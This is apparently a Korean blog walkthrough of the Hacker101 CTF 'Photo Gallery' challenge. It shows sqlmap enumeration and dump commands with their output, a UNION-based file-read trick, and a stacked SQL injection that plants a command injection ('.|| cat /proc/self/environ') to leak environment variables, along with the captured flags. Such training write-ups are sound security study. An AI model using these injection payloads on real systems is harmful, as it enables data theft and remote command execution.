Photo Gallery (Moderate, 6)
Flag0
Flag1에서 sqlmap으로 DB 구조를 알면, id로 filename를 select 해서 가져온다고 생각해볼 수 있다.
id를 범위 밖 값으로 만들어 준 뒤 union select '{path}'를 뒤에 붙여서 임의의 파일을 자유롭게 읽을 수 있고, main.py를 읽으면 플래그를 얻을 수 있다.
Flag: ^FLAG^f12b6f58304da5ea511c6132a3483c6cd52a7cd4ef9dca2dcad9a86149931c41$FLAG$
Flag1
id에 대해서 sqlmap을 돌려서 데이터베이스를 뽑아온다.
python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment --dbs --threads=4
available databases [4]:
[*] information_schema
[*] level5
[*] mysql
[*] performance_schema
|
python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 --tables --threads=2
Database: level5
[2 tables]
+--------+
| albums |
| photos |
+--------+
|
syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T albums --columns --threads=2
Database: level5
Table: albums
[2 columns]
+--------+---------+
| Column | Type |
+--------+---------+
| id | int(11) |
| title | text |
+--------+---------+
syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T photos --columns --threads=2
Database: level5
Table: photos
[4 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| filename | text |
| id | int(11) |
| parent | int(11) |
| title | text |
+----------+---------+
|
syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T albums --dump --threads=2
Database: level5
Table: albums
[1 entry]
+----+---------+
| id | title |
+----+---------+
| 1 | Kittens |
+----+---------+
syine@MinetaLinux:~/repos/sqlmap-dev$ python3 sqlmap.py -u "http://35.227.24.107/456fe6241d/fetch?id=2" --method=GET --tamper=space2comment -D level5 -T photos --dump --threads=2
Database: level5
Table: photos
[3 entries]
+----+------------------+--------+------------------------------------------------------------------+
| id | title | parent | filename |
+----+------------------+--------+------------------------------------------------------------------+
| 1 | Utterly adorable | 1 | files/adorable.jpg |
| 2 | Purrfect | 1 | files/purrfect.jpg |
| 3 | Invisible | 1 | 95f30120ca9d35bbdbaca0464ffa2b3e124de1f755a602a6601f26b506c319fe |
+----+------------------+--------+------------------------------------------------------------------+
|
Invisible의 filename이 플래그다.
Flag: ^FLAG^95f30120ca9d35bbdbaca0464ffa2b3e124de1f755a602a6601f26b506c319fe$FLAG$
Flag2
첫 번째 힌트를 보고 풀 수 있었다.
홈 페이지에서 사용 공간을 계산할 때 du -ch {data} 에서 Command Injection 취약점이 발생한다. id=3인 항목의 filename을 바꿔서 임의의 명령어를 실행할 수 있다.
아래 값을 /fetch에 id로 넘겨주면 된다.
3;UPDATE/**/photos/**/SET/**/filename='.|| cat /proc/self/environ'/**/WHERE/**/id=3;commit;
|
Space used: PYTHONIOENCODING=UTF-8
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi
SUPERVISOR_GROUP_NAME=uwsgi
FLAGS=["^FLAG^f12b6f58304da5ea511c6132a3483c6cd52a7cd4ef9dca2dcad9a86149931c41$FLAG$", "^FLAG^95f30120ca9d35bbdbaca0464ffa2b3e124de1f755a602a6601f26b506c319fe$FLAG$", "^FLAG^1f872c2bb02899637732a6b6b24a8c853f42326fbdd2417b04654e0116764379$FLAG$"]
HOSTNAME=456fe6241dbf
SHLVL=0
PYTHON_PIP_VERSION=18.0
HOME=/root
GPG_KEY=C01E1CAD5EA2C4F0B8E3571504C367C218ADD4FF
UWSGI_INI=/app/uwsgi.ini
NGINX_MAX_UPLOAD=0
UWSGI_PROCESSES=16
STATIC_URL=/static
UWSGI_CHEAPER=2
NGINX_VERSION=1.13.12-1~stretch
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NJS_VERSION=1.13.12.0.2.0-1~stretch
LANG=C.UTF-8
SUPERVISOR_ENABLED=1
PYTHON_VERSION=2.7.15
NGINX_WORKER_PROCESSES=1
SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock
SUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80
STATIC_INDEX=0
PWD=/app
STATIC_PATH=/app/static
PYTHONPATH=/app
UWSGI_RELOADS=0
|
Flag: ^FLAG^1f872c2bb02899637732a6b6b24a8c853f42326fbdd2417b04654e0116764379$FLAG$
'Wargame > Hacker101 CTF' 카테고리의 다른 글
[Hacker101 CTF] Postbook (0) | 2020.02.19 |
---|---|
[Hacker101 CTF] Cody's First Blog (0) | 2020.02.18 |
[Hacker101 CTF] Encrypted Pastebin (0) | 2020.02.16 |
[Hacker101 CTF] Micro-CMS v2 (0) | 2020.02.15 |
[Hacker101 CTF] Micro-CMS v1 (0) | 2020.02.15 |